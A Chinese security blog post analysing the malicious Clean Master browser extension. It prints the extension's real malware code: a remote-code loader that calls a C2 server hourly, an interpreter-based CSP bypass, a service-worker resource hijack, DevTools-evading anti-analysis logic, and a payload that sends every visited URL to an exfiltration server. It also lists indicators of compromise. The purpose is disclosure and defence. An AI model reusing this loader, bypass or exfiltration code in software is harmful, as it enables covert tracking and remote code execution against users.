数十万人安装的CleanMaster恶意插件样本深度分析(含样本文件链接)

admin 2025-12-22 04:42:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章深入分析了CleanMaster浏览器扩展的恶意行为,揭示了其从合法工具转变为恶意软件的过程。攻击者通过植入恶意代码实现了用户数据窃取、远程代码执行和跨设备追踪,并采用CSP绕过和反分析技术规避检测。文章建议用户检查浏览器插件列表,及时移除可疑扩展,并提高对浏览器扩展安全的警惕性。 综合评分: 95 文章分类: 恶意软件,漏洞分析,威胁情报,WEB安全,数据安全


cover_image

数十万人安装的 Clean Master 恶意插件样本深度分析(含样本文件链接)

原创

i3 & jyl1st

SecNL安全团队

2025年12月3日 11:02 北京

1. 背景与概述

昨晚正和小伙伴愉快地聊天,突然听他说自己常用的 Infinity 插件被 Edge 浏览器标记为恶意软件,直接给禁用了。边沟通边搜集资料,发现国外安全团队 Koi Security 发布了一份关于浏览器恶意插件的披露报告,揭露了一个名为 ShadyPanda的威胁组织。该组织策划并实施了长达七年的恶意网络活动,插件最初提供合法的数据清理功能,甚至曾获得官方应用商店的推荐,但攻击者后期利用平台对更新包审核机制宽松的问题,在后续版本中植入了恶意代码,可以实现用户信息窃取,甚至 RCE。

本着“吃瓜吃到自己身上”的原则,我检查了一下自己的浏览器扩展列表。好家伙,赫然发现自己电脑上也躺着一个报告里的核心恶意插件——Clean Master

喜提恶意样本一个!那只能边哭边把这个样本给分析了,恶意文件放在了后台,可以私信 Clean Master 获取

2. 样本信息

  • • 名称: Clean Master
  • • 版本: 22.9.29.1452
  • • 核心恶意文件background/fuck.jsbackground/interpreter.jsbackground\encrypt-bundle.js

3. 攻击链复盘

阶段一:植入 (Installation)

  1. 1. 潜伏更新: 长期潜伏成正常的浏览器清理工具Clean Master,等到用户量足够后,开宰用户,在插件更新的时候植入恶意代码(fuck.js 总觉得也是一种嘲讽)。
  2. 2. 权限获取: 插件通过 manifest.json 申请高危权限:<all_urls>(访问所有网站)、webRequest(拦截网络请求)、storage(本地存储)等。

阶段二:激活 (Activation)

  1. 3. 恶意加载: 浏览器插件启动后台服务 background/bg.js,其第一行代码即优先加载恶意脚本:
   importScripts("/background/fuck.js", ...)
  1. 4. 辅助模块加载: 同时加载 encrypt-bundle.js(CryptoJS 加密库)和 interpreter.js(JS 解释器),为后续攻击做准备。

阶段三:指挥控制 (C2 Communication)

  1. 5. C2 通信fuck.js 中的 xxx() 函数向硬编码的 C2 服务器发起请求:
   https://api.extensionplay.com/clean_master/t.json
  1. 6. Payload 下载: 解析返回的 JSON 配置,根据 src 字段进一步下载实际的恶意代码字符串。
  2. 7. 本地持久化: 将下载的配置和代码存入 chrome.storage.local(Key: "fuck"),物理存储于浏览器的 LevelDB 数据库中,实现离线持久化。
  3. 8. 定时更新: 设置 nextUpdateTime,每小时自动检查 C2 获取最新指令,下载并执行具有完整浏览器访问权限的任意 JavaScript 代码。

阶段四:执行 (Execution)

  1. 9. CSP 绕过执行: 利用内置的 interpreter.js 解释器执行下载的代码,绕过 Manifest V3 禁止 eval/new Function 的安全策略:
   interpreter.run(e.src_str, globalThis || self ||&nbsp;window&nbsp;|| {})
  1. 10. 资源劫持 (中间人攻击): 通过 Service Worker 的 fetch 事件监听器,拦截对插件内部资源(如 /baidu.js)的请求,将其替换为缓存的恶意代码。
  2. 11. 跨组件分发: 通过 chrome.runtime.onMessage 监听机制,将恶意代码分发给插件的其他组件(Popup、Content Script 等)执行。

阶段五:恶意行为 (Malicious Actions)

  1. 12. 全流量监控: Payload 注册 webRequest.onCompleted 监听器,使用 urls: ["<all_urls>"] 监控用户访问的所有网站。
  2. 13. 数据窃取: 收集并回传用户敏感信息
  3. 14. 跨设备追踪: 生成的 UUID 存储于 chrome.storage.sync,随用户账号同步到所有设备,实现跨设备身份关联。
  4. 15. 加密回传: 使用硬编码密钥 2646294A404E635266546A576E5A7234 加密数据后,回传至 https://api.cleanmasters.store/abc

阶段六:反分析 (Anti-Analysis)

  1. 16. DevTools 检测: 监听 on-devtools-open 消息,一旦检测到开发者工具开启,立即停止数据回传,规避安全分析人员的动态抓包流量分析。

: 虽然笔者尝试从恶意接口直接下载样本失败(C2 可能已下线或更换),但通过解析本地浏览器 LevelDB 数据库(路径:Local Extension Settings/<插件ID>/)成功提取到了历史缓存的恶意 Payload,完整还原了上述攻击链。

4. 静态代码分析

4.1 入口与权限 (manifest.json & background/bg.js)

manifest.json 申请了极高的权限,包括对所有网站的访问权 (<all_urls>) 和拦截网络请求的能力 (webRequest)。

{
&nbsp; "host_permissions":&nbsp;["<all_urls>"],
&nbsp; "permissions":&nbsp;[
&nbsp; &nbsp; "browsingData",&nbsp; &nbsp; // 访问浏览数据
&nbsp; &nbsp; "background",&nbsp; &nbsp; &nbsp; // 后台运行
&nbsp; &nbsp; "storage",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 无限存储
&nbsp; &nbsp; "webNavigation",&nbsp; &nbsp;// 监控导航
&nbsp; &nbsp; "webRequest"&nbsp; &nbsp; &nbsp; &nbsp;// 拦截请求
&nbsp; ]
}

插件的后台服务 (service_worker) 指向 background/bg.js

在 background/bg.js 中,第一行代码即暴露了其恶意意图:

importScripts("/background/fuck.js","/lib/js/lib.js","/background/bg-setting.js", ...);

它在初始化正常功能之前,优先加载了名为 fuck.js 的恶意脚本。

4.2 恶意加载器核心逻辑 (background/fuck.js)

这是该样本的核心恶意组件,负责与 C2 服务器通信、下载并执行 Payload。

4.2.1 C2 通信与 Payload 下载

脚本定义了一个异步函数 xxx,向硬编码的 C2 地址发起请求:

const&nbsp;xxx=async()=>{
&nbsp; let&nbsp;e=await&nbsp;get(key);
&nbsp; // 检查是否需要更新(每小时更新一次)
&nbsp; if(!e||!e.nextUpdateTime||e.nextUpdateTime<Date.now()){
&nbsp; &nbsp; // 从远程服务器获取恶意代码配置
&nbsp; &nbsp; const&nbsp;t=await&nbsp;fetch("https://api.extensionplay.com/clean_master/t.json?t="+Date.now())
&nbsp; &nbsp; &nbsp; .then(e=>e.json());
&nbsp; &nbsp; // 下载远程代码
&nbsp; &nbsp; await&nbsp;Promise.all(t.map(r=>new&nbsp;Promise((e,t)=>{
&nbsp; &nbsp; &nbsp; if(!r.src_str&&r.src){
&nbsp; &nbsp; &nbsp; &nbsp; const&nbsp;n=new&nbsp;URL(r.src);
&nbsp; &nbsp; &nbsp; &nbsp; n.searchParams.set("t",Date.now()),
&nbsp; &nbsp; &nbsp; &nbsp; fetch(n.toString()).then(e=>e.ok&&e.text())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .then(e=>e&&(r.src_str=e)).then(e).catch(t)
&nbsp; &nbsp; &nbsp; }else&nbsp;e()
&nbsp; &nbsp; })))
&nbsp; &nbsp; // 设置下次更新时间为1小时后
&nbsp; &nbsp; e={nextUpdateTime:Date.now()+36e5,data:t},
&nbsp; &nbsp; await&nbsp;set(key,e)
&nbsp; }
&nbsp; // 执行下载的代码
&nbsp; runOnce||(runOnce=!0,e.data.forEach(e=>{
&nbsp; &nbsp; if(Array.isArray(e.run_on)){
&nbsp; &nbsp; &nbsp; if(!e.run_on.includes("bg"))return
&nbsp; &nbsp; }else&nbsp;if("bg"!==e.run_on)return;
&nbsp; &nbsp; e.src_str&&interpreter.run(e.src_str,globalThis||self||window||{})
&nbsp; }))
}
  • • 更新频率: 代码中设置了 nextUpdateTime,默认每 1 小时(36e5 毫秒)检查一次更新。
  • • 数据获取: 获取的 JSON 数据包含待执行代码的 URL (src),脚本会进一步 fetch 该 URL 获取实际的代码字符串,并将其存入 src_str 字段。
  • • 数据存储set(key,e) 在逻辑位置存储到了浏览器的本地扩展存储区 (chrome.storage.local),物理位置保存在浏览器用户配置文件目录下的 LevelDB 数据库文件中,具体路径通常位于:…/User Data/Default/Local Extension Settings/<插件ID>

4.2.2 CSP 绕过与代码执行

为了规避 Manifest V3 禁止使用 eval 或 new Function 执行远程代码的安全策略,攻击者引入了一个用 JavaScript 编写的 JS 解释器 (interpreter.js):

importScripts("/background/encrypt-bundle.js",&nbsp;"/background/interpreter.js");
// ...
e.data.forEach((e) =>&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(Array.isArray(e.run_on)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(!e.run_on.includes("bg"))&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;if&nbsp;("bg"&nbsp;!== e.run_on)&nbsp;return;
&nbsp; &nbsp; &nbsp; &nbsp; // 使用解释器执行远程代码
&nbsp; &nbsp; &nbsp; &nbsp; e.src_str&nbsp;&&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; interpreter.run(e.src_str, globalThis || self ||&nbsp;window&nbsp;|| {});
})

fuck.js 中还有个监听分发机制,startListener 监听 chrome.runtime.onMessage,这是 Chrome 插件各组件间通信的标准方式。当插件的其他组件发送消息并携带 run_on 参数时,startListener 会查询本地缓存的恶意配置,筛选出所有 run_on 字段匹配请求方环境的配置项,筛选出的恶意代码(包含源码字符串 src_str)会被通过 sendResponse 发回给请求方。这个函数并没有被显式调用,感觉更像是恶意代码分发服务中台、当插件的其他上下文需要执行恶意代码时,它们会向后台发送请求,startListener 负责根据请求方的运行环境(run_on)筛选并返回对应的恶意 Payload,猜测可能是为了后续定向攻击留存的吧,毕竟恶意代码也可以定期下发,可以每次接收不同的恶意代码,收集更多类型的信息。

//...
async function startListener() {
&nbsp; chrome.runtime.onMessage.addListener(function (r, e, s) {
&nbsp; &nbsp; return (
&nbsp; &nbsp; &nbsp; get(key) &nbsp;// key = "fuck",从本地存储读取恶意配置
&nbsp; &nbsp; &nbsp; &nbsp; .then((e) => {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; const t = (e && e.data) || [], &nbsp;// 获取 Payload 数组
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; n = r["run_on"]; &nbsp;// 从消息中获取请求的 run_on 类型
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t.filter((e) => {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (Array.isArray(e.run_on)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (e.run_on.includes(n)) return !0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (e.run_on === n) return !0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );
&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; .catch(noop),
&nbsp; &nbsp; &nbsp; !0
&nbsp; &nbsp; );
&nbsp; });
}

4.2.3 中间人攻击与资源劫持 (Official Analysis Code Basis)

官方分析中提到的“中间人攻击:通过 service worker 可拦截和修改网络请求,用恶意脚本替换合法的 JavaScript 文件”的机制,其代码依据主要位于 background/fuck.js 文件中。

这段代码利用了 Service Worker 的 fetch 事件监听器,拦截对插件自身资源的请求,并将其替换为从远程服务器下载的恶意代码。

self.addEventListener("fetch",&nbsp;(e) =>&nbsp;{
&nbsp; if&nbsp;(fuckDataArr) {
&nbsp; &nbsp; const&nbsp;n = e.request;
&nbsp; &nbsp; // 1. 检查请求的 URL 是否匹配配置中的 proxy_url
&nbsp; &nbsp; var&nbsp;t = fuckDataArr.find(
&nbsp; &nbsp; &nbsp; (e) =>&nbsp;chrome.runtime.getURL(e.proxy_url) === n.url
&nbsp; &nbsp; );

&nbsp; &nbsp; // 2. 如果匹配成功(即目标是插件的某个合法文件)
&nbsp; &nbsp; if&nbsp;(t) {
&nbsp; &nbsp; &nbsp; const&nbsp;r =&nbsp;new&nbsp;Headers();
&nbsp; &nbsp; &nbsp; "css"&nbsp;=== t.type
&nbsp; &nbsp; &nbsp; &nbsp; ? r.set("Content-Type",&nbsp;"text/css")
&nbsp; &nbsp; &nbsp; &nbsp; : r.set("Content-Type",&nbsp;"text/javascript"),

&nbsp; &nbsp; &nbsp; &nbsp; // 3. 实施“中间人攻击”:
&nbsp; &nbsp; &nbsp; &nbsp; // 不让请求去加载本地磁盘上的真实文件,而是直接返回内存中缓存的恶意代码 (t.src_str)
&nbsp; &nbsp; &nbsp; &nbsp; e.respondWith(new&nbsp;Response(t.src_str, {&nbsp;headers: r }));
&nbsp; &nbsp; }
&nbsp; }
});

攻击原理分析:

  1. 1. 拦截请求self.addEventListener("fetch", ...) 是 Service Worker 的标准 API,用于拦截当前作用域下的所有网络请求。
  2. 2. 恶意替换e.respondWith(new Response(t.src_str, ...)) 是攻击的核心。t.src_str 是之前从 C2 服务器 (api.extensionplay.com) 下载并存储在本地的恶意代码字符串。当浏览器尝试加载插件内的某个合法文件(如 lib/js/lib.js,由 e.proxy_url 指定)时,Service Worker 会直接返回这个恶意字符串,而不是文件系统中的原始文件。
  3. 3. 危害后果: 通过上述替换,攻击者可以将原本无害的功能脚本替换为窃取 Cookie 或注入广告的恶意脚本。由于这些脚本运行在扩展的上下文中或被注入到页面中,拥有极高的权限,可以访问敏感数据,从而实施凭证窃取、会话劫持等攻击。

4.3 执行引擎 (background/interpreter.js)

一个完整的 JavaScript 解释器实现,专门用于在 MV3 扩展等受限环境中执行动态下发的代码,绕过 CSP 限制。攻击者可在不更新插件的情况下随时改变攻击逻辑。

4.4 辅助模块

4.4.1 加密库 (background/encrypt-bundle.js)

打包好的 CryptoJS 密码学库,提供 AES、SHA 等加密算法,用于解密 C2 下发的 Payload 及加密窃取数据后回传。

4.4.2 伪装的追踪器拦截 (background/tracker.js)

精心设计的”伪装模块”,让插件看起来像合法隐私保护工具。

关键发现 – 被动监测而非拦截: 代码注册 chrome.webRequest.onBeforeRequest 监听器,但未申请["blocking"] 权限:

&nbsp; &nbsp; chrome.webRequest.onBeforeRequest.addListener(t=>{
&nbsp; &nbsp; &nbsp; &nbsp; var{tabId:t,url:e,type:r,initiator:i,frameId:a}=t;
&nbsp; &nbsp; &nbsp; &nbsp; // ... 逻辑判断 ...
&nbsp; &nbsp; &nbsp; &nbsp; if(e){
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; const&nbsp;o=trackerMap[t]||{};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 仅仅是将域名加入列表
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; o.trackerList.includes(a)||(o.trackerList.push(a),trackerMap[t]=o)
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; },{urls:["http://*/*","https://*/*"]})&nbsp;// 缺少 ["blocking"]

这意味着它无法真正拦截或取消网络请求,只能旁路监听,猜测可能为申请高危的 webRequest 和 webNavigation 权限提供正当理由,降低应用商店审核人员的警惕,并且还可以将访问的网站URL存储到本地,可以后续窃取。

工作流程:        1.  加载本地规则文件 background/seed.json。        2.  监听所有网络请求,判断是否为第三方请求。        3.  如果请求域名匹配规则中的 "block" 动作,它仅仅是将该域名记录到内存中的 trackerMap 对象里。        4.  通过 getTrackerList 消息接口,将记录的“追踪器”列表返回给前端(Popup 页面)。

4.5 恶意 Payload 深度分析 (基于本地提取样本)

通过对本地 LevelDB 日志中提取的恶意代码 (src_str) 进行反混淆与分析,还原了该 Payload 的完整攻击逻辑。

提取的配置结构 (来自 LevelDB 日志 012834.log):

{
&nbsp; &nbsp; "data":&nbsp;[
&nbsp; &nbsp; &nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "match":&nbsp;"\\.baidu.com$",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "proxy_url":&nbsp;"/baidu.js",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "run_on":&nbsp;"bg",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "src":&nbsp;"https://api.extensionplay.com/js/encrypt-statistics-v3.js",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "src_str":&nbsp;"var key = \"2646294A404E635266546A576E5A7234\";\nvar consoleCount = {};\n\nchrome.runtime.onMessage.addListener(function (msg) {\n &nbsp;if (msg.type === \"on-devtools-open\") {\n &nbsp; &nbsp;if (consoleCount.hasOwnProperty(msg.id)) {\n &nbsp; &nbsp; &nbsp;clearTimeout(consoleCount[msg.id]);\n &nbsp; &nbsp;}\n &nbsp; &nbsp;consoleCount[msg.id] = setTimeout(function () {\n &nbsp; &nbsp; &nbsp;delete consoleCount[msg.id];\n &nbsp; &nbsp; &nbsp;chrome.storage.local.set({ consoleCount: consoleCount });\n &nbsp; &nbsp;}, 1100);\n &nbsp; &nbsp;chrome.storage.local.set({ consoleCount: consoleCount });\n &nbsp;}\n});\n\nvar Statistics = {\n &nbsp;apiList: [\"https://api.cleanmasters.store\"],\n &nbsp;uuid: \"\",\n &nbsp;refs: {},\n &nbsp;init: function () {\n &nbsp; &nbsp;this.getUUIDfromStore();\n\n &nbsp; &nbsp;chrome.webRequest.onCompleted.addListener(\n &nbsp; &nbsp; &nbsp;this.handlerOnCompletedWebRequest.bind(this),\n &nbsp; &nbsp; &nbsp;{\n &nbsp; &nbsp; &nbsp; &nbsp;urls: [\"<all_urls>\"],\n &nbsp; &nbsp; &nbsp; &nbsp;types: [\"main_frame\"],\n &nbsp; &nbsp; &nbsp;}\n &nbsp; &nbsp;);\n &nbsp;},\n\n &nbsp;handlerOnCompletedWebRequest: function (x) {\n &nbsp; &nbsp;this.sendData({\n &nbsp; &nbsp; &nbsp;user_id: this.uuid,\n &nbsp; &nbsp; &nbsp;target_url: encodeURI(x.url),\n &nbsp; &nbsp; &nbsp;referrer_url: this.refs[x.tabId] || x.initiator,\n &nbsp; &nbsp; &nbsp;user_agent: navigator.userAgent,\n &nbsp; &nbsp; &nbsp;method: x.method,\n &nbsp; &nbsp; &nbsp;status_code: x.statusCode,\n &nbsp; &nbsp; &nbsp;ext_id: chrome.runtime.id,\n &nbsp; &nbsp; &nbsp;client_timestamp: x.timeStamp,\n &nbsp; &nbsp;});\n\n &nbsp; &nbsp;this.refs[x.tabId] = encodeURI(x.url);\n &nbsp;},\n\n &nbsp;getUUIDfromStore: function () {\n &nbsp; &nbsp;var self = this;\n &nbsp; &nbsp;chrome.storage.sync.get([\"uuid\"], function (data) {\n &nbsp; &nbsp; &nbsp;self.uuid = data.uuid =\n &nbsp; &nbsp; &nbsp; &nbsp;data.uuid && self.validateUUID4(data.uuid)\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;? data.uuid\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: self.makeUUID();\n &nbsp; &nbsp; &nbsp;chrome.storage.sync.set({ uuid: data.uuid }, function () {});\n &nbsp; &nbsp;});\n &nbsp;},\n\n &nbsp;validateUUID4: function (t) {\n &nbsp; &nbsp;return new RegExp(\n &nbsp; &nbsp; &nbsp;/^[0-9A-F]{8}-[0-9A-F]{4}-4[0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i\n &nbsp; &nbsp;).test(t);\n &nbsp;},\n\n &nbsp;makeUUID: function () {\n &nbsp; &nbsp;return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(\n &nbsp; &nbsp; &nbsp;/[xy]/g,\n &nbsp; &nbsp; &nbsp;function (t, e) {\n &nbsp; &nbsp; &nbsp; &nbsp;return (\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\"x\" == t ? (e = (16 * Math.random()) | 0) : (3 & e) | 8\n &nbsp; &nbsp; &nbsp; &nbsp;).toString(16);\n &nbsp; &nbsp; &nbsp;}\n &nbsp; &nbsp;);\n &nbsp;},\n\n &nbsp;sendData: function (t) {\n &nbsp; &nbsp;var self = this;\n &nbsp; &nbsp;chrome.storage.local.get(\"consoleCount\", function (data) {\n &nbsp; &nbsp; &nbsp;if (!data.consoleCount || Object.keys(data.consoleCount).length < 1) {\n &nbsp; &nbsp; &nbsp; &nbsp;var q = {\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data: JSON.stringify(t),\n &nbsp; &nbsp; &nbsp; &nbsp;};\n\n &nbsp; &nbsp; &nbsp; &nbsp;try {\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;q.data = browserify_bridge.encode(q.data, key);\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;q.type = \"v3\";\n &nbsp; &nbsp; &nbsp; &nbsp;} catch (err) {\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;q.data = btoa(q.data);\n &nbsp; &nbsp; &nbsp; &nbsp;}\n\n &nbsp; &nbsp; &nbsp; &nbsp;var requests = self.apiList.map(function (api) {\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return fetch(api + \"/abc\", {\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;method: \"post\",\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;headers: {\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\"Content-Type\": \"application/json;charset=utf-8\",\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;body: JSON.stringify(q),\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;});\n &nbsp; &nbsp; &nbsp; &nbsp;});\n\n &nbsp; &nbsp; &nbsp; &nbsp;var requestsPromise = Promise.allSettled(requests);\n &nbsp; &nbsp; &nbsp; &nbsp;requestsPromise.catch(function () {});\n &nbsp; &nbsp; &nbsp;}\n &nbsp; &nbsp;});\n &nbsp;},\n};\n\nStatistics.init();\n"
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; ],
&nbsp; &nbsp; "nextUpdateTime":&nbsp;1750218220829.0
}
  • • 关于 match 字段的说明:   在提取的配置中存在 "match": "\\.baidu.com$" 字段,但经审计发现:
  1. 1. 静态代码中未使用: 在 fuck.js 的 Service Worker 逻辑中,并未发现任何使用该正则表达式进行 URL 匹配的代码。
  2. 2. 当前 Payload 为全量监控: 提取到的 src_str 代码使用 urls: ["<all_urls>"] 监听所有网站流量,而非仅针对 baidu.com
  3. 3. 字段用途存疑match 字段可能是 C2 配置框架的保留字段,用于服务端管理、未来功能扩展,或用于其他未被提取到的 Payload 配置中。由于 C2 服务器已不可访问,无法获取完整的配置历史,其确切用途尚不明确。

4.5.1 反分析与逃逸机制

代码中包含一段针对开发者工具 (DevTools) 的检测逻辑,用于在安全分析人员调试时隐藏恶意行为。

chrome.runtime.onMessage.addListener(function&nbsp;(msg) {
&nbsp; if&nbsp;(msg.type&nbsp;===&nbsp;"on-devtools-open") {
&nbsp; &nbsp; // ... 更新 consoleCount 状态 ...
&nbsp; &nbsp; chrome.storage.local.set({&nbsp;consoleCount: consoleCount });
&nbsp; }
});

// 在发送数据前检查
sendData:&nbsp;function&nbsp;(t) {
&nbsp; &nbsp; chrome.storage.local.get("consoleCount",&nbsp;function&nbsp;(data) {
&nbsp; &nbsp; &nbsp; // 如果检测到 DevTools 开启 (consoleCount 不为空),则停止发送数据
&nbsp; &nbsp; &nbsp; if&nbsp;(!data.consoleCount&nbsp;||&nbsp;Object.keys(data.consoleCount).length&nbsp;<&nbsp;1) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // ... 执行发送逻辑 ...
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; });
}
  • • 原理: 插件监听 on-devtools-open 消息(可能由插件的其他组件触发),一旦检测到开发者工具开启,就在本地存储中标记。
  • • 目的: 在 sendData 函数中,代码会检查这个标记。如果发现正在被调试,它会直接静默停止数据回传,导致分析人员抓不到网络包。

4.5.2 全流量数据窃取

Payload 注册了 chrome.webRequest.onCompleted 监听器,监控浏览器中所有的主框架 (main_frame) 请求。

chrome.webRequest.onCompleted.addListener(
&nbsp; this.handlerOnCompletedWebRequest.bind(this),
&nbsp; {
&nbsp; &nbsp; urls: ["<all_urls>"],&nbsp;// 监听所有 URL
&nbsp; &nbsp; types: ["main_frame"],
&nbsp; }
);

窃取的数据字段极其详尽,足以完整画像用户的浏览行为:

handlerOnCompletedWebRequest:&nbsp;function&nbsp;(x) {
&nbsp; this.sendData({
&nbsp; &nbsp; user_id:&nbsp;this.uuid,&nbsp;//用户唯一标识
&nbsp; &nbsp; target_url:&nbsp;encodeURI(x.url),&nbsp;//目标 URL
&nbsp; &nbsp; referrer_url:&nbsp;this.refs[x.tabId] || x.initiator,&nbsp;//来源 URL
&nbsp; &nbsp; user_agent: navigator.userAgent,&nbsp;//User Agent
&nbsp; &nbsp; method: x.method,&nbsp;//HTTP 方法
&nbsp; &nbsp; status_code: x.statusCode,&nbsp;//状态码
&nbsp; &nbsp; ext_id: chrome.runtime.id,&nbsp;// 当前恶意插件的唯一 ID
&nbsp; &nbsp; client_timestamp: x.timeStamp,&nbsp;//记录数据被窃取的精确时间
&nbsp; });
}

4.5.3 持久化身份追踪

代码会生成一个 UUID 并存储在 chrome.storage.sync 中。

chrome.storage.sync.get(["uuid"],&nbsp;function&nbsp;(data) {
&nbsp; self.uuid&nbsp;= data.uuid&nbsp;= data.uuid&nbsp;? data.uuid&nbsp;: self.makeUUID();
&nbsp; chrome.storage.sync.set({&nbsp;uuid: data.uuid&nbsp;},&nbsp;function&nbsp;() {});
});
  • • 危害: 使用 storage.sync 意味着这个唯一的追踪 ID 会随着用户的 Google/Edge 账号同步到所有设备。攻击者不仅能追踪单台设备,还能跨设备关联用户的身份。

4.5.4 加密数据回传

  • • C2 服务器https://api.cleanmasters.store/abc
  • • 加密方式: 使用硬编码密钥 2646294A404E635266546A576E5A7234 对数据进行加密。
  var&nbsp;key =&nbsp;"2646294A404E635266546A576E5A7234";
  // ...
  q.data&nbsp;= browserify_bridge.encode(q.data, key);&nbsp;// 加密

5. 关联事件与争议说明 (WeTab / Infinity)

在本次披露的报告中,除了 Clean Master 被实锤包含恶意代码外,知名的 WeTab 和 Infinity 扩展也被列入了 ShadyPanda 组织的关联名单中。报告指控这些扩展可能涉及数据收集等行为(被称为“阶段 2”和“阶段 4”的活动)。

然而,针对这一指控及随后的下架处理,WeTab 和 Infinity 官方已发布声明进行澄清。为了保持客观中立,现将官方声明要点摘录如下,供读者参考:

  1. 1. 账号关联导致误伤: 官方表示,WeTab 与 Infinity 的下架是因为它们与 Clean Master 曾使用同一开发者账号上架。当 Clean Master 因恶意代码被封禁时,平台出于风控策略,对该账号下的所有扩展采取了“连坐”措施。
  2. 2. 否认恶意行为: 声明强调,WeTab 与 Infinity 的下架并非因为这两款扩展自身存在恶意代码或安全问题。
  3. 3. 代码安全承诺: 官方承诺,用户本地已安装的 WeTab / Infinity 版本代码保持不变,不存在临时植入后门或新增恶意行为的情况
  4. 4. 积极申诉中: 目前开发团队已向平台提交了技术说明与安全自查结果,正在积极沟通以恢复上架。

笔者注:

  • • 对于 Clean Master,本文的分析已证实其包含明确的恶意加载器 (fuck.js) 和 CSP 绕过机制 (interpreter.js),属于确凿的恶意软件。
  • • 对于 WeTab / Infinity,目前尚未在公开样本中发现与 Clean Master 相同的恶意加载器代码。建议用户关注官方后续的申诉结果及安全厂商的进一步分析。

6. 威胁指标 (IOCs)

  • • C2 Domain:

  • • 更多的可以参考原文

  • • api.extensionplay.com (Clean Master 核心 C2)

  • • api.cleanmasters.store (Payload 中发现的数据回传域名)

  • • cleanmasters.store (报告提及的数据回传域名)

  • • URL:

  • • https://api.extensionplay.com/clean_master/t.json

  • • https://api.cleanmasters.store/abc (数据回传接口)

  • • Encryption Key2646294A404E635266546A576E5A7234 (用于加密回传数据)

  • • 恶意文件特征:

  • • 文件名: fuck.js

  • • 本地存储 Key: "fuck"

  • • 代码特征: 使用 interpreter.run 执行远程代码。

7. 总结与碎碎念

这种攻击手法其实并没有那么复杂,主要利用了平台对更新的审查不严,但沉淀了这么久才开始动手。。。确实防不胜防

最后给大伙儿提个醒: 赶紧查查自己的浏览器插件列表,看到edge的插件封禁安全提示,就说明你有可能中招了,看看自己有没有安装Clean Master插件吧。😭

参考链接

https://www.koi.ai/blog/4-million-browsers-infected-inside-shadypanda-7-year-malware-campaign#heading-1


查看原文:《数十万人安装的 Clean Master 恶意插件样本深度分析(含样本文件链接)》

评论:0   参与:  5